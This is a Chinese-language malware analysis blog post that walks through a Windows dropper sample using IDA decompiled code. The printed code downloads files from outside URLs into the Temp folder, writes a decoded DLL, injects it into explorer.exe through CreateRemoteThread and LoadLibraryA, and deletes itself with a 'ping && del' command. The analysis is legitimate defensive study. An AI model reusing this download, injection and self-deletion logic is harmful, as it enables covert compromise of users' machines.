样本信息

MD5: 6E4B0A001C493F0FCF8C5E9020958F38

SHA1:BEA213F1C932455AEE8FF6FDE346B1D1960D57FF

CRC32: 1CD8074D

查壳

无壳

手动分析

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{………………v77 = v3;v78 = retaddr;v76 = -1;v75 = &loc_F400D;v74 = NtCurrentTeb()->NtTib.ExceptionList;v73 = &v79;v55 = 0;v4 = GetConsoleWindow();ShowWindow(v4, 0);                            // ShowWindow(GetConsoleWindow(),SW_HIDE) 隐藏终端程序端口sub_D2190("procmon");                         // procmon,微软出品 监视软件运行sub_D2190("wireshark");                       // 打开wireshark?sub_D2190("procexp");                         // 第三方进程管理器,可以一键取代系统自带任务管理器,但是不能一键恢复,有微软的数字签名。// 留坑:一般用户应该没装这玩意儿,难不成自带// if ( ExpandEnvironmentStringsA("%temp%", v64, 0x104u) )// 扩充环境字符串:将百分号封闭起来的环境变量名转换成那个变量的内容//      这里被赋值临时文件的路径{strcpy((char *)v56, "x.zip");               // 这里拼接字符串,mark下 x.zipmemset(v70, 0, 0x104u);v5 = &v64[strlen(v64) + 1] - v64;v6 = &v69;while ( *++v6 );qmemcpy(v6, v64, v5);v8 = &v69;while ( *++v8 );*(_WORD *)v8 = 92;v10 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;v11 = &v69;while ( *++v11 );qmemcpy(v11, v56, v10);                     // qmemcpy赋值了一串路径:// C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip// strcpy(v71, "7z4..1v0r_teernvCos/adlowndom/coy.iturecusah.kww/w:/tpht");sub_D2990(v71);                             // http://www.kahusecurity.com/downloads/Converter_v0.14.7zsub_D2110(v71, v70);                        // Mark关键函数:传入converter下载网址和g.zip的文件地址进行处理,后面再步入详细分析。// 第一个参数是个url,下载格式转换软件的压缩包// 第二个参数是 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zipif ( GetFileAttributesA(v70) != 34 )        // 获取g.zip文件属性SetFileAttributesA(v70, 0x22u);v70[0] = 0;LOBYTE(v56[0]) = 103;v13 = &v64[strlen(v64) + 1] - v64;v14 = &v69;while ( *++v14 );qmemcpy(v14, v64, v13);                     // v15 赋值字符串 \x.zipv16 = &v69;while ( *++v16 );*(_WORD *)v16 = 92;v18 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;v19 = &v69;while ( *++v19 );qmemcpy(v19, v56, v18);                     // v20的值 pstrcpy(v72, "jp3.r-pepallway-wa-angyifls-owcrs/gema/iom.ceflierap/p:/tphtg");sub_D2990(v72);sub_D2110(v72, v70);                        // 第二次调用该函数。得URL:// http://paperlief.com/images/crows-flying-away-wallpaper-3.jpgif ( GetFileAttributesA(v70) != 34 )        // 判断C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip的文件属性SetFileAttributesA(v70, 0x22u);}strcpy(v68, "CDf:ge\\\\gwefiilnscdyuoqwwlfsas\\\\/s45y0cscxtddefem21332243\\\\9lkkooocvvaaalefeee...drolwel");memset(v62, 0, sizeof(v62));v76 = 0;v21 = 15;v61.dwProcessId = 0;v61.dwThreadId = 15;LOBYTE(v60[0]) = 0;v55 = 1;v58 = 0;v59 = 15;LOBYTE(v57[0]) = 0;sub_D4BE0(v57, v68, &v68[strlen(v68) + 1] - &v68[1]);// 这里是最后一次用到上面的乱序字符串,但是依旧没有处理LOBYTE(v76) = 1;v22 = 0;v56[0] = v58;if ( v58 > 0 ){for ( i = 0; ; i = v61.dwProcessId )        // 循环到 i=29退出{v24 = v57;if ( v59 >= 0x10 )v24 = (_DWORD *)v57[0];v25 = *((_BYTE *)v24 + v22);v54 = v25;if ( i >= v21 ){LOBYTE(v53) = 0;sub_D53F0(v60, i, v53, v54);}else{v61.dwProcessId = i + 1;v26 = v60;if ( v21 >= 0x10 )v26 = (_DWORD *)v60[0];*((_BYTE *)v26 + i) = v25;*((_BYTE *)v26 + i + 1) = 0;}v21 = v61.dwThreadId;v22 += 3;if ( v22 >= v56[0] )break;}}LOBYTE(v76) = 0;if ( v59 >= 0x10 ){v27 = (void *)v57[0];if ( v59 + 1 >= 0x1000 ){if ( v59 + 36 <= v59 + 1|| (v57[0] & 0x1F) != 0|| (v27 = *(void **)(v57[0] - 4), (unsigned int)v27 >= v57[0])|| (unsigned int)(v57[0] - (_DWORD)v27) < 4|| (unsigned int)(v57[0] - (_DWORD)v27) > 0x23 ){_invalid_parameter_noinfo_noreturn();}}sub_D85BE(v27);}v28 = (char *)v60[0];                         // 赋值:C:\windows\system32\locale.dllv29 = (char *)v60;if ( v21 >= 0x10 )v29 = (char *)v60[0];                       // 这里赋值 C:\windows\system32\locale.dllv30 = (_BYTE *)(v62 - v29);do{v31 = *v29++;v29[(_DWORD)v30 - 1] = v31;}while ( v31 );v76 = -1;if ( v21 >= 0x10 ){v32 = v21 + 1;v33 = v28;                                  // 赋值 C:\windows\system32\locale.dllif ( v32 >= 0x1000 ){if ( v32 + 35 <= v32|| ((unsigned __int8)v28 & 0x1F) != 0|| (v28 = (char *)*((_DWORD *)v28 - 1), v28 >= v33)|| (v34 = v33 - v28, v34 < 4)|| v34 > 0x23 ){_invalid_parameter_noinfo_noreturn();}}sub_D85BE(v28);}sub_D2690(v62);                               // Mark关键函数:这个函数有 explore.exe,正常是Windows图形化界面,// 但很多病毒喜欢伪装成这个名字GetModuleFileNameA(0, v67, 0x104u);           // 获取exe文件绝对路径,这里获取到病毒样本所在的路径v35 = GetFileAttributesA(v67);                // 获取本体文件的属性SetFileAttributesA(v67, v35 & 0xFFFFFFFE);    // 修改本体文件的属性memset(&v52, 0, sizeof(v52));v52.cb = 68;v61 = 0i64;v52.wShowWindow = 6;strcpy(v65, "636D642E657865202F432070696E67203132372E302E302E312026262064656C20");v52.dwFlags = 1;memset(v66, 0, sizeof(v66));memset(v63, 0, sizeof(v63));v36 = (const char *)sub_D1F00(v57, v65);v37 = v36;if ( *((_DWORD *)v36 + 5) >= 0x10u )v37 = *(const char **)v36;v38 = v37;                                    // edx赋值给esi:cmd.exe /C ping 127.0.0.1 && delv39 = strlen(v37) + 1;                        // 循环后值为34,是cmd.exe /C ping 127.0.0.1 && del \00 +1的长度v40 = &v62[511];while ( *++v40 );qmemcpy(v40, v38, 4 * (v39 >> 2));v43 = &v38[4 * (v39 >> 2)];v42 = &v40[4 * (v39 >> 2)];v44 = v39;v45 = v59;qmemcpy(v42, v43, v44 & 3);if ( v45 >= 0x10 ){v46 = (void *)v57[0];v47 = v45 + 1;if ( v47 >= 0x1000 ){if ( v47 + 35 <= v47|| (v57[0] & 0x1F) != 0|| (v46 = *(void **)(v57[0] - 4), (unsigned int)v46 >= v57[0])|| (unsigned int)(v57[0] - (_DWORD)v46) < 4|| (unsigned int)(v57[0] - (_DWORD)v46) > 0x23 ){_invalid_parameter_noinfo_noreturn();}}sub_D85BE(v46);}v48 = &v67[strlen(v67) + 1] - v67;v49 = &v62[511];while ( *++v49 );qmemcpy(v49, v67, v48);                       // 0  病毒样本所在地址 41CreateProcessA(0, v63, 0, 0, 1, 0x8000000u, 0, 0, &v52, &v61);return 0;
}

主函数分析补充

访问
http://www.kahusecurity.com/downloads/Converter_v0.14.7z
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip

打开这个网址,看url应该是下载 Converter_v0.14.7z文件,格式转换??

搜索该网站下的版权声明找到了官网……貌似是个安全公司

可能是官网有变动,我在官网里找下载工具,找到converter,版本也是0.14。最后更新日期2016.9.30

恶意软件在安全团队官网下格式转换工具……太骚了_(:з」∠)_

------------下一处下载-----------------
访问
http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip

该URL访问后加载不出来图片……

综上两个文件的网址都无法访问,所以后面分析时并没有x.zip和g.zip文件生成

关键函数Ⅰ sub_D2110

下载文件到指定地址并重命名

char __fastcall sub_11F2110(LPCSTR a1, LPCSTR a2)
{HRESULT v4; // esiint v5; // eaxchar result; // alint v7; // edxint v8; // ecxint v9; // eaxDeleteUrlCacheEntry(a1);v4 = URLDownloadToFileA(0, a1, a2, 0, 0);     // a1:http://www.kahusecurity.com/downloads/Converter_v0.14.7z// a2:C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip// URLDownloadToFile,指从指定URL地址读取内容并将读取到的内容保存到特定的文件里的实现方法。// 那这里应该是下载converter v0.14.zip到用户临时文件夹下,并命名为 x.zip(// 难怪分析main函数的时候,执行完这个函数在temp文件夹下找不到x.zip。应该是converter的下载网址换了导致无法下载。// --------------------------------------------// 后面该函数又被调用了一次,这次是// 下载文件:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg// 保存为:C:\Users\HOLY-P~1\AppData\Local\Temp\g.zipif ( v4 < 0 ){v7 = sub_11F5060();if ( v7 )v8 = v7 + *(_DWORD *)(*(_DWORD *)v7 + 4);elsev8 = 0;*(_DWORD *)(v8 + 20) = *(_DWORD *)(v8 + 20) & 0xFFFFF9FF | 0x800;v9 = sub_11F3180(v7, v4);sub_11F5330(v9);result = 0;}else{v5 = sub_11F5060();sub_11F5330(v5);result = 1;}return result;
}

关键函数Ⅱ sub_D2690

篡改 locale.dll

HANDLE __thiscall sub_D2690(LPCVOID lpBuffer)
{…………v1 = (const char *)lpBuffer;*(_DWORD *)Buffer = lpBuffer;v2 = CreateFileA((LPCSTR)lpBuffer, 0xC0000000, 0, 0, 2u, 0x80u, 0);// 创建文件,返回句柄到v2if ( v2 == (HANDLE)-1 )                       // 这里跳过异常,该if不执行{*(_DWORD *)Buffer = 0;v10 = GetLastError();if ( FormatMessageA(0x3100u, 0, v10, 0, Buffer, 0, 0) && *(_DWORD *)Buffer ){*(_BYTE *)(strlen(*(const char **)Buffer) + *(_DWORD *)Buffer - 2) = 0;GetLastError();sub_D1160(v14, "%0.*s (0x%x)", 2032);LocalFree(*(HLOCAL *)Buffer);}else{v14[0] = 0;}result = (HANDLE)sub_D10E0("\nLASTERROR: %s", v14);}else{v3 = 0;NumberOfBytesWritten = 0;do{::Buffer[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)::Buffer[v3]);xmmword_1049C0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049C0[v3]);xmmword_1049D0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_1049D0[v3], (__m128i)xmmword_101340);xmmword_1049E0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049E0[v3]);v3 += 4;}while ( v3 < 4448 );WriteFile(v2, ::Buffer, 0x11600u, &NumberOfBytesWritten, 0);CloseHandle(v2);Sleep(0xC8u);Sleep(0xC8u);sub_D2360();v4 = 0;v5 = CreateToolhelp32Snapshot(0xFu, 0);     // 获取系统中正在运行的进程、线程信息,建立一个快照pe.dwSize = 296;if ( Process32First(v5, &pe) )              // Process32First和Process32Next配合使用// 枚举上面CreateToolhelp32Snapshot创建的快照里的所有进程{while ( _stricmp(pe.szExeFile, "explorer.exe") )// 遍历快照内的所有进程,// 查看当前进程 pe.szExeFile 是否名为 explorer.exe{if ( !Process32Next(v5, &pe) )goto LABEL_9;}v4 = pe.th32ProcessID;
LABEL_9:v1 = *(const char **)Buffer;}CloseHandle(v5);*(_DWORD *)&pe.szExeFile[108] = 148;result = (HANDLE)GetVersionExA((LPOSVERSIONINFOA)&pe.szExeFile[108]);if ( result ){result = *(HANDLE *)&pe.szExeFile[112];if ( *(_DWORD *)&pe.szExeFile[112] == 5 || *(_DWORD *)&pe.szExeFile[112] >= 6u ){result = OpenProcess(0x43Au, 0, v4);v7 = result;if ( result ){v8 = VirtualAllocEx(result, 0, strlen(v1), 0x3000u, 0x40u);// 在locale.dll的虚拟空间保留或提交内存区域result = (HANDLE)WriteProcessMemory(v7, v8, v1, strlen(v1), 0);// 对locale.dll进行改写,// 从地址0x33f0000开始,if ( result ){v9 = GetModuleHandleA("kernel32.dll");// 调用locale.dllresult = GetProcAddress(v9, "LoadLibraryA");if ( result ){CreateRemoteThread(v7, 0, 0, (LPTHREAD_START_ROUTINE)result, v8, 0, 0);// 让locale.dll在其他地址空间中运行result = (HANDLE)CloseHandle(v7);}}}}}}return result;
}

单独分析篡改后的 locale.dll

IDA主函数分析的时候发现locale.dll被篡改并另启运行,但是在C:\windows\system32\下找不到 locale.dll……

火绒剑:动作过滤,只看文件监控日志,很快就找到了locale.dll的位置了(๑•̀ㅂ•́)و✧

破案,去SYSWOW64 !

用ida分析,找到了一串疑似URL的字符串。尝试动调时发现需要病毒样本才能正常加载,看来这个locale.dll确实就是被篡改过的。

技艺不精,用IDA调试dll时,由于病毒样本运行后删除自身所以没法断下,OD也不会调试DLL……好在改乱序字符串下就是排序代码,直接手敲得到真正的URL:

http://d1picvugn75nio.cloudfront.net

再往下走,有个ShellExecuteA,作用是最大化窗口打开该网址 (可能年代久远,该网站现在无法访问……)

病毒样本运行流程总结

隐藏程序端口
打开procmon wireshark procexp
获取用户的临时文件的路径关键函数:sub_d2110
生成C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip的路径
生成一个URL:http://www.kahusecurity.com/downloads/Converter_v0.14.7z
下载convert,并命名为x.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\
生成一个URL:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
下载convert,并命名为g.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\生成路径C:\windows\system32\locale.dll关键函数:sub_D2690
获取系统正在运行的进程、线程,建立一个快照
遍历快照内的所有进程确定存在explorer.exe后执行下一步
对locale.dll进行改写(从 0x33f0000开始)
运行locale.dll 打开网址http://d1picvugn75nio.cloudfront.net打开cmd.exe
ping 127.0.0.1
删除自身
(此时被篡改的locale.dll仍存在于C:\windows\SysWOW64\ ,未被删除)

可疑行为

C:\Users\本机用户名\AppData\Local\Temp\路径下下载了两个文件,并重命名为g.zip和x.zip

进程中的 locale.dll内容被篡改

篡改后的locale.dll作用是打开网址:http://d1picvugn75nio.cloudfront.net

运行后删除自身,毁尸灭迹。但篡改后的locale.dll依旧存在,并且系统显示其修改日期仍是2009.7.14,不易被发现。

火绒一面病毒样本分析相关推荐

  1. Android版本的Wannacry文件加密病毒样本分析(附带锁机)

    一.前言 之前一个Wannacry病毒样本在PC端肆意了很久,就是RSA加密文件,勒索钱财.不给钱就删除.但是现在移动设备如此之多,就有一些不法分子想把这个病毒扩散到移动设备了,这几天一个哥们给了一个 ...

  2. 无文件攻击与病毒样本分析-1-1-1-无文件攻击介绍

    目录 无文件攻击与病毒样本分析-0-1-1-目录_千里ZLP的博客-CSDN博客https://wittpeng.blog.csdn.net/article/details/124712530?spm ...

  3. 无文件攻击与病毒样本分析-1-4-2-无文件攻击之恶意脚本:WScript和CScript

    目录 无文件攻击与病毒样本分析-0-1-1-目录_千里ZLP的博客-CSDN博客在一个月内,将持续研究并发布一套关于"无文件攻击技术与相关病毒样本分析"的系列文章,为便于查看,将在 ...

  4. Android版本的 Wannacry 文件加密病毒样本分析 附带锁机

    一.前言 之前一个Wannacry病毒样本在PC端肆意了很久,就是RSA加密文件,勒索钱财.不给钱就删除.但是现在移动设备如此之多,就有一些不法分子想把这个病毒扩散到移动设备了,这几天一个哥们给了一个 ...

  5. Android版本的”Wannacry”文件加密病毒样本分析(附带锁机)

    一.病毒样本分析 点击免费激活,出现授权界面: 需要设备管理器,是想修改锁机密码,我们就授权,然后分析程序找到重置的密码就好了:授权之后,就被锁屏了,解锁屏幕会出现: 病毒作者真够狠的,竟然自己弄了一 ...

  6. Azorult变种病毒样本分析笔记

    环境: Win 7 x32 专业版 工具: Exeinfope.火绒剑.PCHunter32.Wireshark.OD.IDA.ImpREC 样本信息: 文件: Shipping Documents_ ...

  7. mirai病毒样本分析

    发这篇的时候已经是在此岗位工作接近尾声等待交接离职,交接过程中发现自己刚开始做支撑时候遇到驻场人员发现态势感知检a测到有mirai样本,样本跑不起来,驻场人员对网络需要排查确定甲方设备安全.通过发回的 ...

  8. incaformat蠕虫病毒样本分析及查杀防范措施

    2021incaseformat蠕虫病毒 一.病毒简介 二.样本分析 三.查杀与恢复方式 四.预防措施 一.病毒简介 病毒名称:incaseformat 病毒性质:蠕虫病毒 影响范围:windows ...

  9. android病毒样本分析(红包助手)

    目录 1.样本概况... 3 1.1 样本信息... 3 1.2 测试环境及工具... 3 1.3 分析目标... 3 2.具体分析... 4 2.1 加固情况... 4 2.2代码分析片段... 4 ...

最新文章

  1. Error: <spyOn> : handleError() method does not exist
  2. C++:05---class和struct
  3. 北师大网络教育计算机试题一的答案,北师大网络教育《专科英语一》作业3部分答案...
  4. mybatis配置自带缓存和第三方缓存
  5. matlab 回路最优,数学建模常用Matlab/Lingo/c代码总结系列——hamilton回路
  6. php中使用curl采集小说网,PHP:通过curl实现采集网站内容
  7. Using Delegates with Data Readers to Control DAL Responsibility[转]
  8. 重磅!2020 年算法工程师技术路线图
  9. tomcat启动脚本
  10. 2020最新的eclipse之安卓开发环境搭建
  11. rfid水洗电子标签怎么管理洗涤衣物
  12. 64位win10专业版下载地址
  13. Fiddler抓包工具+夜神模拟器
  14. 怎么用Python爬取抖音小视频? 资深程序员都这样爬取的(附源码)
  15. 三层交换机光模块故障排除流程
  16. PS创意合成苹果橘子
  17. Unity Shader 实现简单的压扁效果
  18. 灰色墙面搭配白色沙发,时尚的整体质感
  19. Merriam-Webster's Vocabulary Builder 学习笔记 Unit 19
  20. 高盐废水如何处理,离子交换树脂在高盐废水中的应用

热门文章

  1. 海思NB-IoT芯片模块,海思处理器介绍
  2. SAP EPIC 银企直连
  3. [内附完整源码和文档] 基于JAVA的酒店住宿管理系统
  4. xml python2.6_Python2.6 XML解析器断言
  5. lut及3D LUT Mac调色预设如何导入并应用?关于fcpx/PR/AE/PS/LR/达芬奇lut预设导入及使用方法完整版介绍!
  6. STM32 PAJ7620U2手势识别模块(IIC通信)程序源码详解
  7. 阿里内部总结的微服务笔记,从入门到精通,初学者也能学的会
  8. java毕业设计实验室主页系统源码+lw文档+mybatis+系统+mysql数据库+调试
  9. 五金冲压模具设计与制作技巧
  10. 金万维动态域名小助手使用教程